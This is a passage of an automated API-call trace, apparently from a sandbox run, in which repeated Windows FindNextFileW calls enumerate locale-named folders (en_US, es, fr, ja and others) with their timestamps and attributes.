ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en_US", cAlternateFileName="")) returned 1 [0072.131] FindNextFileW (in: hFindFile=0x600610, lpFindFileData=0x18ddec | out: lpFindFileData=0x18ddec*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85e498c0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xb8106860, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xb8106860, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="es", cAlternateFileName="")) returned 1 [0072.131] FindNextFileW (in: hFindFile=0x600610, lpFindFileData=0x18ddec | out: lpFindFileData=0x18ddec*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85e498c0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xb8106860, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xb8106860, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="es_419", cAlternateFileName="")) returned 1 [0072.131] FindNextFileW (in: hFindFile=0x600610, lpFindFileData=0x18ddec | out: lpFindFileData=0x18ddec*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85e498c0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xb8106860, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xb8106860, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="et", cAlternateFileName="")) returned 1 [0072.131] FindNextFileW (in: hFindFile=0x600610, lpFindFileData=0x18ddec | out: lpFindFileData=0x18ddec*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85e498c0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xb819ede0, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xb819ede0, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="eu", cAlternateFileName="")) returned 1 [0072.131] FindNextFileW (in: hFindFile=0x600610, lpFindFileData=0x18ddec | out: lpFindFileData=0x18ddec*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85e498c0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xb8211200, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xb8211200, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="fa", cAlternateFileName="")) returned 1 [0072.131] FindNextFileW (in: hFindFile=0x600610, lpFindFileData=0x18ddec | out: lpFindFileData=0x18ddec*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85e498c0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xb8237360, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xb8237360, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="fi", cAlternateFileName="")) returned 1 [0072.131] FindNextFileW (in: hFindFile=0x600610, lpFindFileData=0x18ddec | out: lpFindFileData=0x18ddec*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85e6fa20, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xb8237360, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xb8237360, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="fil", cAlternateFileName="")) returned 1 [0072.131] FindNextFileW (in: hFindFile=0x600610, lpFindFileData=0x18ddec | out: lpFindFileData=0x18ddec*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85e6fa20, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xb825d4c0, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xb825d4c0, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="fr", cAlternateFileName="")) returned 1 [0072.131] FindNextFileW (in: hFindFile=0x600610, lpFindFileData=0x18ddec | out: lpFindFileData=0x18ddec*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85e6fa20, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xb8283620, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xb8283620, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="fr_CA", cAlternateFileName="")) returned 1 [0072.132] FindNextFileW (in: hFindFile=0x600610, lpFindFileData=0x18ddec | out: lpFindFileData=0x18ddec*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85e95b80, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xb8283620, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xb8283620, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="gl", cAlternateFileName="")) returned 1 [0072.132] FindNextFileW (in: hFindFile=0x600610, lpFindFileData=0x18ddec | out: lpFindFileData=0x18ddec*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85e95b80, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xb82a9780, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xb82a9780, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="gu", cAlternateFileName="")) returned 1 [0072.132] FindNextFileW (in: hFindFile=0x600610, lpFindFileData=0x18ddec | out: lpFindFileData=0x18ddec*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85e95b80, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xb82a9780, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xb82a9780, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="hi", cAlternateFileName="")) returned 1 [0072.132] FindNextFileW (in: hFindFile=0x600610, lpFindFileData=0x18ddec | out: lpFindFileData=0x18ddec*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85e95b80, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xb82a9780, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xb82a9780, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="hr", cAlternateFileName="")) returned 1 [0072.132] FindNextFileW (in: hFindFile=0x600610, lpFindFileData=0x18ddec | out: lpFindFileData=0x18ddec*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85e95b80, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xb82cf8e0, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xb82cf8e0, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="hu", cAlternateFileName="")) returned 1 [0072.132] FindNextFileW (in: hFindFile=0x600610, lpFindFileData=0x18ddec | out: lpFindFileData=0x18ddec*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85ebbce0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xb82cf8e0, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xb82cf8e0, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="hy", cAlternateFileName="")) returned 1 [0072.132] FindNextFileW (in: hFindFile=0x600610, lpFindFileData=0x18ddec | out: lpFindFileData=0x18ddec*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85ebbce0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xb82f5a40, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xb82f5a40, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="id", cAlternateFileName="")) returned 1 [0072.132] FindNextFileW (in: hFindFile=0x600610, lpFindFileData=0x18ddec | out: lpFindFileData=0x18ddec*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85ebbce0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xb82f5a40, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xb82f5a40, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="is", cAlternateFileName="")) returned 1 [0072.132] FindNextFileW (in: hFindFile=0x600610, lpFindFileData=0x18ddec | out: lpFindFileData=0x18ddec*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85ebbce0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xb82f5a40, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xb82f5a40, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="it", cAlternateFileName="")) returned 1 [0072.132] FindNextFileW (in: hFindFile=0x600610, lpFindFileData=0x18ddec | out: lpFindFileData=0x18ddec*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85ebbce0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xb831bba0, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xb831bba0, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="iw", cAlternateFileName="")) returned 1 [0072.132] FindNextFileW (in: hFindFile=0x600610, lpFindFileData=0x18ddec | out: lpFindFileData=0x18ddec*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85ee1e40, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xb83da280, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xb83da280, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ja", cAlternateFileName="")) returned 1 [0072.132] FindNextFileW (in: hFindFile=0x600610, lpFindFileData=0x18ddec | out: lpFindFileData=0x18ddec*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85ee1e40, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xb83da280, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xb83da280, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ka", cAlternateFileName="")) returned 1 [0072.132] FindNextFileW (in: hFindFile=0x600610, lpFindFileData=0x18ddec | out: lpFindFileData=0x18ddec*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85ee1e40, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xb83da280, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xb83da280, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="km", cAlternateFileName="")) returned 1 [0072.132] FindNextFileW (in: hFindFile=0x600610, lpFindFileData=0x18ddec | out: lpFindFileData=0x18ddec*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85ee1e40, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xb84003e0, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xb84003e0, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="kn", cAlternateFileName="")) returned 1 [0072.132] FindNextFileW (in: hFindFile=0x600610, lpFindFileData=0x18ddec | out: lpFindFileData=0x18ddec*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85ee1e40, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xb84003e0, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xb84003e0, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ko", cAlternateFileName="")) returned 1 [0072.132] FindNextFileW (in: hFindFile=0x600610, lpFindFileData=0x18ddec | out: lpFindFileData=0x18ddec*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85f07fa0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xb84003e0, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xb84003e0, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="lo", cAlternateFileName="")) returned 1 [0072.132] FindNextFileW (in: hFindFile=0x600610, lpFindFileData=0x18ddec | out: lpFindFileData=0x18ddec*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85f07fa0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xb8426540, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xb8426540, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="lt", cAlternateFileName="")) returned 1 [0072.132] FindNextFileW (in: hFindFile=0x600610, lpFindFileData=0x18ddec | out: lpFindFileData=0x18ddec*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85f07fa0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xb8426540, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xb8426540, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="lv", cAlternateFileName="")) returned 1 [0072.132] FindNextFileW (in: hFindFile=0x600610, lpFindFileData=0x18ddec | out: lpFindFileData=0x18ddec*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85f07fa0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xb844c6a0, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xb844c6a0, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ml", cAlternateFileName="")) returned 1 [0072.132] FindNextFileW (in: hFindFile=0x600610, lpFindFileData=0x18ddec | out: lpFindFileData=0x18ddec*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85f07fa0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xb844c6a0, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xb844c6a0, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="mn", cAlternateFileName="")) returned 1 [0072.132] FindNextFileW (in: hFindFile=0x600610, lpFindFileData=0x18ddec | out: lpFindFileData=0x18ddec*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85f07fa0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xb8472800, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xb8472800, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="mr", cAlternateFileName="")) returned 1 [0072.132] FindNextFileW (in: hFindFile=0x600610, lpFindFileData=0x18ddec | out: lpFindFileData=0x18ddec*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85f2e100, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xb8498960, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xb8498960, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ms", cAlternateFileName="")) returned 1 [0072.132] FindNextFileW (in: hFindFile=0x600610, lpFindFileData=0x18ddec | out: lpFindFileData=0x18ddec*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85f2e100, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xb8498960, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xb8498960, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ne", cAlternateFileName="")) returned 1 [0072.132] FindNextFileW (in: hFindFile=0x600610, lpFindFileData=0x18ddec | out: lpFindFileData=0x18ddec*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85f2e100, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xb8498960, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xb8498960, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="nl", cAlternateFileName="")) returned 1 [0072.132] FindNextFileW (in: hFindFile=0x600610, lpFindFileData=0x18ddec | out: lpFindFileData=0x18ddec*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85f54260, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xb84beac0, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xb84beac0, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="no", cAlternateFileName="")) returned 1 [0072.132] FindNextFileW (in: hFindFile=0x600610, lpFindFileData=0x18ddec | out: lpFindFileData=0x18ddec*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85f54260, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xb84beac0, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xb84beac0, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="pl", cAlternateFileName="")) returned 1 [0072.132] FindNextFileW (in: hFindFile=0x600610, lpFindFileData=0x18ddec | out: lpFindFileData=0x18ddec*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85f54260, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xb84beac0, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xb84beac0, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="pt_BR", cAlternateFileName="")) returned 1 [0072.132] FindNextFileW (in: hFindFile=0x600610, lpFindFileData=0x18ddec | out: lpFindFileData=0x18ddec*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85f54260, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xb8557040, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xb8557040, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="pt_PT", cAlternateFileName="")) returned 1 [0072.132] FindNextFileW (in: hFindFile=0x600610, lpFindFileData=0x18ddec | out: lpFindFileData=0x18ddec*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85f7a3c0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xb8557040, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xb8557040, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ro", cAlternateFileName="")) returned 1 [0072.132] FindNextFileW (in: hFindFile=0x600610, lpFindFileData=0x18ddec | out: lpFindFileData=0x18ddec*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85f7a3c0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xb85a3300, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xb85a3300, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ru", cAlternateFileName="")) returned 1 [0072.132] FindNextFileW (in: hFindFile=0x600610, lpFindFileData=0x18ddec | out: lpFindFileData=0x18ddec*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85f7a3c0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xb85c9460, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xb85c9460, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="si", cAlternateFileName="")) returned 1 [0072.132] FindNextFileW (in: hFindFile=0x600610, lpFindFileData=0x18ddec | out: lpFindFileData=0x18ddec*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85f7a3c0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xb85c9460, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xb85c9460, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sk", cAlternateFileName="")) returned 1 [0072.133] FindNextFileW (in: hFindFile=0x600610, lpFindFileData=0x18ddec | out: lpFindFileData=0x18ddec*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85f7a3c0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xb85ef5c0, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xb85ef5c0, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sl", cAlternateFileName="")) returned 1 [0072.133] FindNextFileW (in: hFindFile=0x600610, lpFindFileData=0x18ddec | out: lpFindFileData=0x18ddec*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85fa0520, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xb85ef5c0, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xb85ef5c0, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sr", cAlternateFileName="")) returned 1 [0072.133] FindNextFileW (in: hFindFile=0x600610, lpFindFileData=0x18ddec | out: lpFindFileData=0x18ddec*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85fa0520, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xb8615720, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xb8615720, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sv", cAlternateFileName="")) returned 1 [0072.133] FindNextFileW (in: hFindFile=0x600610, lpFindFileData=0x18ddec | out: lpFindFileData=0x18ddec*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85fa0520, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xb8615720, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xb8615720, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sw", cAlternateFileName="")) returned 1 [0072.133] FindNextFileW (in: hFindFile=0x600610, lpFindFileData=0x18ddec | out: lpFindFileData=0x18ddec*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85fa0520, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xb8615720, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xb8615720, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ta", cAlternateFileName="")) returned 1 [0072.133] FindNextFileW (in: hFindFile=0x600610, lpFindFileData=0x18ddec | out: lpFindFileData=0x18ddec*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85fa0520, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xb863b880, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xb863b880, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="te", cAlternateFileName="")) returned 1 [0072.133] FindNextFileW (in: hFindFile=0x600610, lpFindFileData=0x18ddec | out: lpFindFileData=0x18ddec*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85fc6680, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xb863b880, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xb863b880, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="th", cAlternateFileName="")) returned 1 [0072.133] FindNextFileW (in: hFindFile=0x600610, lpFindFileData=0x18ddec | out: 